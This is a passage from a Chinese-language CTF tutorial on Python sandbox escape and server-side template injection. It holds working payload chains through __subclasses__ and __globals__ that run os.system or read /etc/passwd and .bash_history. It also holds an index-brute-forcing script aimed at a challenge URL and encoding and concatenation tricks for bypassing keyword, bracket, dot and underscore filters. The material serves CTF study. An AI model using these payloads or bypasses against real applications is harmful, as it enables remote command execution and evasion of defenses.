>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read
<built-in method read of file object at 0x10397a5d0>

# 使用read()方法读取
>>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
root:*:0:0:System

这些内容已经非常好得阐述了Python2中利用<type 'file'>实现的攻击,但由于Python3缺少<type 'file'>,因此它有很大局限性。

用内置模块执行命令

再介绍一个属性__globals__:返回一个当前空间下能使用的模块、方法和变量的字典,用法{函数名}.__globals__。于是利用继承关系和__globals__,我们很可能能够找到更加好用的payload。

1
2
3
4
5
6
7
8
9
10
11
12
#coding:utf-8
search = 'os' #也可以是其他你想利用的模块
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
# (<class 'site._Printer'>, 72) --> payload: ().__class__.__mro__[1].__subclasses__()[77].__init__.__globals__['os'].system('whoami')
# (<class 'site.Quitter'>, 77) --> payload: ().__class__.__mro__[1].__subclasses__()[72].__init__.__globals__['os'].system('whoami')

不过很可惜上述的方法也只能在Python2环境中找到上面两个payload,Python3一个都没有。这时你应该已经想到我们可以挨个尝试其他模块,有没有什么模块各个Python版本都有而且可以很方便使用的呢?有的,就是前面的主角__builtins__。把search = 'os'改成search = '__builtins__',直接起飞,下面举个例子。

1
2
<class '_frozen_importlib._ModuleLock'> 75
().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

遍历payload

这里的内容相当于对上面两小块内容的总结与延伸。感谢hosch3n大哥直接造了轮子,这里帮他保存一份

在整个构造过程中,他把思路分为以下四条:

  • 思路一:如果object的某个派生类中存在危险方法,就可以直接拿来用

    1
    2
    3
    4
    5
    6
    # Python3
    object.__subclasses__()[37].__call__(eval, "__import__('os').system('whoami')")

    # Python2
    object.__subclasses__()[29].__call__(eval, "__import__('os').system('whoami')")
    object.__subclasses__()[40]('.bash_history').read()
  • 思路二:如果object的某个派生类导入了危险模块,就可以链式调用危险方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # Python3
    object.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].system('whoami')
    # Python2
    object.__subclasses__()[59].__init__.__globals__['sys'].modules['os'].system('whoami')

    # Python3
    object.__subclasses__()[134].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')
    # Python2
    object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')
  • 思路三:如果object的某个派生类由于导入了某些标准库模块,从而间接导入了危险模块的危险方法,也可以通过链式调用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # Python3
    object.__subclasses__()[170].__init__.__globals__['_collections_abc'].__dict__['sys'].modules['os'].system('whoami')
    # Python2
    object.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['sys'].modules['os'].system('whoami')

    # Python3
    object.__subclasses__()[134]()._module.__builtins__['__import__']('os').system('whoami')
    # Python2
    object.__subclasses__()[59]()._module.__builtins__['__import__']('os').system('whoami')
  • 思路四:基本类型的某些方法属于特殊方法,可以通过链式调用

    1
    [].append.__class__.__call__(eval, "__import__('os').system('whoami')")

其实还有利用函数本身特点构造出来的payload,但是构造的基本思路都是一致的。

1
2
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')
# 原版: [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')

做题的时候我们往往需要考虑到站点所用的环境,否则常常会引起报错。在有回显的情况下,我们可以使用如下的脚本来找出一些模块相对应的序号(题目是[CSCCTF 2019 Qual]FlaskLight):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import re
import html
import time

index = 0
for i in range(170, 1000):
try:
url = "http://e4247dd3-570c-4b59-9975-1b7a148f95ef.node4.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
r = requests.get(url)
res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
time.sleep(0.1)
# print(res)
# print(r.text)
res = html.unescape(res[0])
print(str(i) + " | " + res)
if "subprocess.Popen" in res:
index = i
break
except:
continue
print("index of subprocess.Popen:" + str(index))
# 输出:index of subprocess.Popen:258
# 于是 ''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()

绕过姿势

CTF传统艺能上线,一起来看看有哪些有趣的姿势。

关键词过滤

1
2
3
4
5
6
7
8
9
# 拼接
"__im"+"port__('o"+"s').sy"+"stem('who"+"ami')"
# 编码
eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)+chr(39)+chr(41))
# 倒序
")'imaohw'(metsys.)'so'(__tropmi__"[::-1]
# 属性访问拦截器__getattribute__ + 拼接
().__class__.__mro__[-1].__subclasses__()[59].__init__.func_globals["linecache"].__dict__['o'+'s'].__dict__['system']('ls')
().__class__.__mro__[-1].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')["linecache"].__dict__['o'+'s'].__dict__['system']('l'+'s') # globals被过滤

中括号过滤

1
2
3
4
# [].__class__.__bases__[0].__subclasses__()[37]
# 将[]的功能用pop,__getitem__代替(实际上a[0]就是在内部调用了a.__getitem__(0))
().__class__.__bases__.__getitem__(0).__subclasses__().pop(37)
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(37)

点号过滤

1
getattr(getattr(getattr(getattr(getattr((),'__class__'),'__bases__'),'__getitem__')(0),'__subclasses__')(),'pop')(37)

下划线过滤

1
2
# _可以用dir(0)[0][0]代替
getattr(getattr(getattr(getattr(getattr((),dir(0)[0][0]*2+'class'+dir(0)[0][0]*2),dir(0)[0][0]*2+'bases'+dir(0)[0][0]*2),dir(0)[0][0]*2+'getitem'+dir(0)[0][0]*2)(0),dir(0)[0][0]*2+'subclasses'+dir(0)[0][0]*2)(),'pop')(37)

下划线、引号、中括号同时过滤

想法来自于这篇文章

1
2
3
4
5
# 这个曾出现在SSTI中
{{()|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3)()}}&x1=__class__&x2=__base__&x3=__subclasses__
# 等价于以下内容
{{1|attr(request.data.split().pop(0))|attr(request.data.split().pop(1))|attr(request.data.split().pop(2))()}}
POST: __class__ __base__ __subclasses__

更多

这里再提供三篇相当不错的文章链接,里面有一些奇怪的姿势可供学习。

https://wiki.wgpsec.org/knowledge/ctf/SSTI.html

https://lazzzaro.github.io/2020/05/15/web-SSTI/index.html

https://www.secpulse.com/archives/140019.html

其他-关于沙箱逃逸

PEP498引入了f-string,在Python3.6开始出现。利用方式如下:

1
f'{__import__("os").system("whoami")}'

在赛题中一般是需要结合SSTI漏洞来进行考察的,因此除了需要了解沙箱逃逸之外,还要熟悉常用模板的用法。

参考文献

反序列化部分:

https://christa.top/details/8/

https://www.ebounce.cn/web/47.html

https://zhuanlan.zhihu.com/p/89132768

https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html

https://misakikata.github.io/2020/04/python-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%BA%93

https://www.v0n.top/2020/03/29/Python%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://xz.aliyun.com/t/8342#toc-4

https://xz.aliyun.com/t/7436#toc-11

沙箱逃逸部分:

https://hosch3n.github.io/2020/08/27/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/

https://xz.aliyun.com/t/2308

https://mp.weixin.qq.com/s/aWbs28W9_eIR2-EgCmPi-w

https://xuanxuanblingbling.github.io/ctf/web/2019/01/02/python/

https://www.smi1e.top/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/